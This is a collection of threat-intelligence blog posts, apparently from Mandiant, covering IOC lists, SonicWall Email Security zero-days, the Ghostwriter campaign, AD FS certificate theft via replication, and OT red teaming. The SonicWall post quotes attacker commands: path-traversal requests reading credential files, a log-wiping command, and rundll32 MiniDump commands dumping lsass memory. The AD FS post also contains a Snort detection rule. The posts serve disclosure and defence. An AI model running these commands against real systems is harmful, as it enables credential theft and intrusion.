  • 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher
  • cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key)
  • 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c)
  • 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat)
  • 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b)
  • edf567bd19d09b0bab4a8d068af15572 (wwansvc.b)
  • a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt)
  • f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored)
  • 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains
  • Celomito[.]com (unc2447)
  • Feticost[.]com (unc2447)
  • Cosarm[.]com
  • Portalcos[.]com
  • 39ea2394a6e6c39c5d7722dc996daf05
  • f568229e696c0e82abb35ec73d162d5e
FIVEHANDS Encrypted Dropper
  • 6c849920155f48d4b4aafce0fc49eb5b
  • 22d35005e926fe29379cb07b810a6075
  • 57824214710bc0cdb22463571a72afd0
  • 87c0b190e3b4ab9214e10a2d1c182153
  • 1b0b9e4cddcbcb02affe9c8124855e58
  • 46ecc24ef6d20f3eaf71ff37610d57d1
  • 1a79b6d169aac719c9323bc3ee4a8361
  • a64d79eba40229ae9aaebbd73938b985
  • 136bd70f7aa98f52861879d7dca03cf2
  • 06ce6cd8bde756265f95fcf4eecadbe9
  • af568e8a6060812f040f0cb0fd6f5a7b
  • d96adf82f061b1a6c80699364a1e3208
  • c50ab1df254c185506ab892dc5c8e24b
  • c925822c6d5175c30ba96388b07e9e16 (unc2447)
  • c171bcd34151cbcd48edbce13796e0ed
  • d87fcd8d2bf450b0056a151e9a116f72
  • f739977004981fbe4a54bc68be18ea79
  • e18b27f75c95b4d50bfcbcd00a5bd6c5
  • df6e6b3e53cc713276a03cce8361ae0f
  • 1cd03c0d00f7bfa7ca73f7d73677d8f8
  • 8071f66d64395911a7aa0d2057b9b00d
  • c12a96e9c50db5f8b0b3b5f9f3f134f0
  • e39184eacba2b05aaa529547abf41d2b
  • 09a05a2212bd2c0fe0e2881401fbff17
  • 8226d7615532f32eca8c04ac0d41a9fd
  • a01a2ba3ae9f50a5aa8a5e3492891082
  • 29e53b32d5b4aae6d9a3b3c81648653c
  • a809068b052bc209d0ab13f6c5c8b4e7
  • 64.227.24[.]12 Havex Profile January 2021
  • 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021
  • 74c688a22822b2ab8f18eafad2271cac
  • 7d6e57cbc112ebd3d3c95d3c73451a38
  • 4d3d3919dda002511e03310c49b7b47f

FireEye Detections

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect



  • FE_Loader_Win32_Generic_162
  • FE_Ransomware_Win32_FIVEHANDS_1
  • Malware.Binary.exe
  • Ransomware.Win.Generic.MVX


  • FE_Backdoor_Win64_SOMBRAT_1
  • Backdoor.Win.SOMBRAT
  • Malware.Binary.exe
  • Backdoor.Win.SOMBRAT.MVX
  • FEC_Trojan_PS1_Generic_7
  • FEC_Trojan_PS1_Generic_8
  • FEC_Trojan_BAT_Generic_5


  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe
  • Ransomware.Win.HELLOKITTY.MVX
  • FE_Ransomware_Win_HELLOKITTY_1
  • FE_Ransomware_Win32_HELLOKITTY_1


  • FE_Loader_Win32_Generic_92
  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe


  • FE_Loader_Win32_BLUESPINE_1
  • Backdoor.BEACON
  • Malware.Binary.exe


  • FE_Loader_PS1_WARPRISM_1
  • FEC_Loader_PS1_WARPRISM_1
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.Win.SYSTEMBC
  • Backdoor.Meterpreter
  • Malware.Binary.exe
  • Malware.Binary.ps1


  • FE_Trojan_MSIL_Generic_109

FireEye EndPoint Security

Real-Time (IOC)


Malware Protection (AV/MG)

    • 87c78d62fd35bb25
    • Trojan.GenericKD.45750384
    • Trojan.GenericKD.36367848
    • Generic.PwShell.RefA.CB5E962A
    • Gen:Variant.Zusy.375932
    • Gen:Variant.Zusy.366866
    • Trojan.GenericKD.46059492
    • Trojan.GenericKD.46059131
    • Trojan.GenericKD.45996121
    • Trojan.GenericKD.45702783
    • Trojan.PowerShell.Agent.IJ
    • Trojan.Agent.EXDR
    • Trojan.PowerShell.Ransom.E
    • Trojan.Agent.EUKPTrojan.GenericKD.45856129
    • Heur.BZC.PZQ.Boxter.829.B5AEB7A6
    • Heur.BZC.PZQ.Boxter.829.B84D01A7
    • Heur.BZC.PZQ.Boxter.829.AE76D25C
    • Trojan.PowerShell.Ransom.F
    • Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87
    • Heur.BZC.PZQ.Boxter.829.A15701BD
    • Trojan.Ransomware.GenericKD.35760206
    • Generic.Malware.PfVPk!12.299C21F3
    • Gen:Variant.Ransom.HelloKitty.1
    • Generic.Malware.PfVPk!12.606CCA24
    • Generic.Malware.PfVPk!12.1454636C
    • Trojan.Agent.DDSN




Initial Access

  • T1078 Valid Accounts


  • T1047 Windows Management Instrumentation
  • T1053.005 Scheduled Task / Job: Scheduled Task
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1106 Execution through API

Defense Evasion

  • T1045 Software Packing
  • T1055 Process Injection
  • T1140 Deobfuscate / Decode Files or Information


  • T1012 Query Registry
  • T1046 Network Service Scanning
  • T1057 Process Discovery
  • T1082 System Information Discovery
  • T1124 System Time Discovery
  • T1135 Network Share Discovery


  • T1560.003 Archive Collected Data: Archive via Custom Method


  • T1485 Data Destruction
  • T1486 Data Encrypted for Impact
  • T1490 Inhibit System Recovery

Command and Control

  • T1071.001 Application Layer Protocol: Web Protocols
  • T1090.002 Proxy: External Proxy
  • T1572  Protocol Tunneling
  • T1573.002 Encrypted Channel: Asymmetric Cryptography


  • T1041 Exfiltration over C2 Channel


Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise

20 Apr 2021

In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network.

The vulnerabilities are being tracked in the following CVEs:



Unauthorized administrative account creation



Post-authentication arbitrary file upload



Post-authentication arbitrary file read

Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the Hotfix for Windows users, and the Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release.

More information can be found by visiting the KB article published by SonicWall.

All patches, upgrades, and hotfixes are available to download on the MySonicWall site.


Figure 1: SonicWall Email Security ecosystem overview (via SonicWall)

SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution.

Figure 2: Sample SonicWall Email Security login page

Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces.


In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised.

The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself.

When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data.

We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell:

cmd.exe /c "echo "" > "C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json

Figure 3: The Adversary clearing existing entries in the current “webui.json” log

This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked.

Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host.



Unauthenticated administrative access through improperly secured API endpoint

The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU).


Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation

Requests to this form, however, were not verified to require previous authentication to the appliance.

Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator.


Arbitrary file upload through post-authenticated “branding” feature

Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as "branding" which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells.

Once uploaded, these branding package ZIP archives are normally expanded and saved to the \data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5.

Figure 5: Example ZIP archive containing a Zip Slip web shell

It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk's research on the topic, they exist within the many code libraries from which applications have been built.


Directory-traversal leads to arbitrary file read in post-authenticated "branding" feature

Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in "branding" feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request.


Figure 6: An example web request which results in downloading the Windows calculator

While the working directory of this branding feature is \data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed.

Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions:

  1. Creation of a new Administrator account on the SonicWall ES device
  2. Exposure of the hashed passwords for existing, locally configured Administrative accounts
  3. The creation of a web shell in an arbitrary directory
  4. Real-time debugging of exploitation success and failure


Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application's "branding" feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at \data\multi_accounts.xml and \data\multi_ldap.xml, respectively (Figure 7).

GET /dload_apps?action=REDACTED&path=..%2Fmulti_accounts.xml&id=update

GET /dload_apps?action=REDACTED&path=..%2Fmulti_ldap.xml&id=update

Figure 7: HTTP GET requests exploiting CVE-2021-20023

These files contained details about existing accounts as well as Active Directory credentials used by the application.

Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel's "branding" page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory \Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\.

BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8).

Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands

With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account.

After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim's network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product.

We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9.

rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump c:\windows\temp\TS_LAS.dmp full

rundll32.exe C:\windows\system32\comsvcs.dll MiniDump C:\windows\temp\TS_FF9DG.dmp full

Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat

Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst.

Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of \data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application.

After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain.

We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft's DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment.


Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown.

Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN.

For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.

Investigation & Monitoring Tips

Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise:

  • Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe
  • The creation or existence of web shells on a server hosting SonicWall Email Security

In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity.

Evidence of malicious web requests and their values may be identifiable in the following log files:

  1. The Apache Tomcat logs:
    • C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs
  2. The SonicWall application logs:
    • C:\Program Files\SonicWallES\logs\webUI\webui.json

Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files:

  1. The administration user account file:
    • C:\Program Files\SonicWallES\data\multi_accounts.xml
  2. Additional user account files that may have been created in the following directories:
    • C:\Program Files\SonicWallES\data\perhost
    • C:\Program Files\SonicWallES\data\perldap
    • C:\Program Files\SonicWallES\data\perou
  3. Branding related zip files in any of the subdirectories of the following directory:
    • C:\Program Files\SonicWallES\data\branding

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary.



FireEye Endpoint Security


FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware File Scanning

FireEye Malware File Storage Scanning

  • FE_PUP_Exploit_Linux_ZipSlip_1
  • FE_Exploit_Win_ZipSlip_1
  • FE_Trojan_ZIP_Generic_1
  • FE_Webshell_JSP_BEHINDER_1
  • FEC_Webshell_JSP_BEHINDER_1
  • Webshell.JSP.BEHINDER

FireEye Helix

  • WINDOWS METHODOLOGY [Unusual Web Server Child Process]

Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions:

  • IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability)
  • IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7
  • IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.




Malicious File Transfer - BEHINDER, Download, Variant #1


Web Shell Activity - BEHINDER, Basic Shell Interaction


Malicious File Transfer - Zip Slip, Download, EICAR Variant


Phishing Email - Malicious Attachment, Zip Slip, Generic Themed Lure

Vulnerability Disclosure

Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.
Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19.

To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version (Windows) or (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers.


SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.

Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity

28 Apr 2021

In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments.

We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals.

Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau.

The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151.

Read the report today to learn more.

Abusing Replication: Stealing AD FS Secrets Over the Network

27 Apr 2021

Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group's key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services.

Active Directory Federation Services

Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365  trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions.

In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user.

Figure 1: Typical AD FS deployment (source: Microsoft)

The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components:

  1. Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it.
  2. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate.

The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA.

Golden SAML

Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders.

In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document.


Figure 2: Example Token Signing Certificate stored in the AD FS database

The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate.

AD FS Replication

AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.  In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF).

WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally.

To send a message to this service, the client will connect to the URL http://:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication.

Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.

   @RuleName = “Permit Service Account”exists([Type ==
    primarysid”, Value == “S-1-5-21-3508695881-2242692613
    -376241919-1107”]) => issue(Type = “http://schemas”, Value = “
   @RuleName = “Permit Local Administrators”exists([Type ==
   sid”, Value == “S-1-5-32-544”])=> issue(Type = "
   ;”, Value
    = “true”);

Figure 3: Default Authorization Policy for AD FS server

Room for Abuse

A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate.

First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files. With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate. Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port. The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system. Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server. Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server. Altogether, this makes the technique both much easier to execute and much harder to detect.

The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement.

Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server.

Figure 4: POC code output


The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.  

To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation.

Set-NetFirewallRule -DisplayName "AD FS HTTP Services (TCP-In)" -RemoteAddress ,

If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one.

New-NetFirewallRule -DisplayName "Allow ADFS Servers TCP 80" -Direction Inbound -Action Allow  -Protocol TCP -LocalPort 80 -RemoteAddress ,

Figure 5: Windows Firewall - Allow ADFS Server - TCP 80

Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity.

alert tcp any any -> any 80 (msg:"AD FS Replication"; flow:established, to_server; content:"POST"; http_method; content:"adfs/services/policystoretransfer"; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;)

Figure 6: Sample snort rule


Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.

Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure

13 Apr 2021

High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice.

In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems.

In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.   

To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Building the Foundation: Information Gathering for IT-OT Network Propagation

